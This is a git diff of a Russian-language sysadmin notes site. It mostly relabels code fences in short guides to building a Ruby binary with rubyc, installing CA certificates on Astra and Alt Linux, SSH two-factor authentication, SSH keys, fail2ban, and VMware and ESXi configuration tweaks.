wget -P /tmp https://gw.alipayobjects.com/os/enclose-prod\ wget -P /tmp https://gw.alipayobjects.com/os/enclose-prod\
/1fd23e6b-d48f-4ed0-94dd-f0f539960253/rubyc-v0.4.0-linux-x64.gz /1fd23e6b-d48f-4ed0-94dd-f0f539960253/rubyc-v0.4.0-linux-x64.gz
gzip -d /tmp/rubyc-v0.4.0-linux-x64.gz gzip -d /tmp/rubyc-v0.4.0-linux-x64.gz
@ -79,7 +79,7 @@ require 'bundler/setup'
## Подготовка к сборке ## Подготовка к сборке
Необходимо собрать gem с помощью Bundle. Необходимо собрать gem с помощью Bundle.
``` ```shell
gem install bundler gem install bundler
bundle install bundle install
bundle exec rake install bundle exec rake install
@ -88,7 +88,7 @@ bundle exec rake install
## Сборка бинарника ## Сборка бинарника
Собираем бинаник. Обязательно при этом необходимо молиться. Собираем бинаник. Обязательно при этом необходимо молиться.
``` ```shell
cd <ruby-util-dir> cd <ruby-util-dir>
rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util> rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util>
``` ```

View File

@ -5,7 +5,7 @@ date: 2023-05-12T18:20:00+05:00
tags: [linux, astra, alt, tls] tags: [linux, astra, alt, tls]
--- ---
## Получение корневого сертификата ## Получение корневого сертификата
``` ```shell
echo quit | openssl s_client -showcerts \ echo quit | openssl s_client -showcerts \
-servername <websi.te> -connect <websi.te>:443 > <certificate>.pem -servername <websi.te> -connect <websi.te>:443 > <certificate>.pem
``` ```
@ -13,24 +13,24 @@ echo quit | openssl s_client -showcerts \
## Astra Linux ## Astra Linux
### Перемещение сертификата ### Перемещение сертификата
``` ```shell
cp <certificate>.pem /usr/local/share/ca-certificates cp <certificate>.pem /usr/local/share/ca-certificates
``` ```
### Обновление состава доверенного хранилища ### Обновление состава доверенного хранилища
``` ```shell
dpkg-reconfigure ca-certificates dpkg-reconfigure ca-certificates
``` ```
## Alt Linux ## Alt Linux
### Перемещение сертификата ### Перемещение сертификата
``` ```shell
cp <certificate>.pem /etc/pki/ca-trust/source/anchors/ cp <certificate>.pem /etc/pki/ca-trust/source/anchors/
``` ```
### Обновление состава доверенного хранилища ### Обновление состава доверенного хранилища
``` ```shell
update-ca-trust enable update-ca-trust enable
update-ca-trust extract update-ca-trust extract
``` ```

View File

@ -5,19 +5,19 @@ date: 2022-11-29T13:35:00+05:00
tags: [linux, ssh] tags: [linux, ssh]
--- ---
## Установка пакета ## Установка пакета
``` ```shell
apt install -y openssh-server libpam-google-authenticator apt install -y openssh-server libpam-google-authenticator
``` ```
## Правка конфига PAM ## Правка конфига PAM
``` ```shell
auth required pam_google_authenticator.so auth required pam_google_authenticator.so
# auth required pam_google_authenticator.so # auth required pam_google_authenticator.so
``` ```
## Правка конфига ssh ## Правка конфига ssh
``` ```shell
ChallengeResponseAuthentication yes ChallengeResponseAuthentication yes
# /etc/ssh/sshd_config # /etc/ssh/sshd_config
@ -27,26 +27,26 @@ ChallengeResponseAuthentication yes
Следующая команда сконфигурирует TOTP. Следующая команда сконфигурирует TOTP.
Запускать команду следует от имени того пользователя, Запускать команду следует от имени того пользователя,
к которому будет инициализированно подключение. к которому будет инициализированно подключение.
``` ```shell
google-authenticator google-authenticator
``` ```
## Управление факторами (необязательно) ## Управление факторами (необязательно)
Включить запрос ключа при аутентификации: Включить запрос ключа при аутентификации:
``` ```shell
AuthenticationMethods publickey,password publickey,keyboard-interactive AuthenticationMethods publickey,password publickey,keyboard-interactive
# /etc/ssh/sshd_config # /etc/ssh/sshd_config
``` ```
Отключить запрос пароля при аутентификации: Отключить запрос пароля при аутентификации:
``` ```shell
#@include common-auth #@include common-auth
# /etc/pam.d/sshd # /etc/pam.d/sshd
``` ```
## Перезапуск сервиса ssh ## Перезапуск сервиса ssh
``` ```shell
systemctl restart ssh systemctl restart ssh
``` ```

View File

@ -5,11 +5,11 @@ date: 2022-12-14T12:04:00+05:00
tags: [linux, ssh] tags: [linux, ssh]
--- ---
## Генерация ключа ## Генерация ключа
``` ```shell
ssh-keygen ssh-keygen
``` ```
## Копировние ключв ## Копировние ключв
``` ```shell
ssh-copy-id <username>@<server-ip> ssh-copy-id <username>@<server-ip>
``` ```

View File

@ -5,12 +5,12 @@ date: 2022-11-29T13:41:00+05:00
tags: [linux, ssh] tags: [linux, ssh]
--- ---
## Установка пакета fail2ban ## Установка пакета fail2ban
``` ```shell
apt -y install fail2ban apt -y install fail2ban
``` ```
## Правило для ssh ## Правило для ssh
``` ``` shell
[sshd] [sshd]
enabled = true enabled = true
port = <ssh-port> port = <ssh-port>
@ -24,6 +24,6 @@ bantime = 3600
``` ```
## Перезапуск сервиса fail2ban ## Перезапуск сервиса fail2ban
``` ```shell
systemctl restart fail2ban systemctl restart fail2ban
``` ```

View File

@ -5,7 +5,7 @@ date: 2022-11-25T15:08:00+05:00
tags: [vmware] tags: [vmware]
--- ---
## Изменение конфига ## Изменение конфига
``` ``` shell
vmx.fullpath = "/bin/vmx" vmx.fullpath = "/bin/vmx"
isolation.tools.copy.disable="FALSE" isolation.tools.copy.disable="FALSE"
isolation.tools.paste.disable="FALSE" isolation.tools.paste.disable="FALSE"

View File

@ -5,7 +5,7 @@ date: 2022-11-25T15:18:00+05:00
tags: [vmware] tags: [vmware]
--- ---
## Изменение скрипта ## Изменение скрипта
``` ``` shell
#!/bin/sh ++group=host/vim/vmvisor/boot #!/bin/sh ++group=host/vim/vmvisor/boot
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0 esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
exit 0 exit 0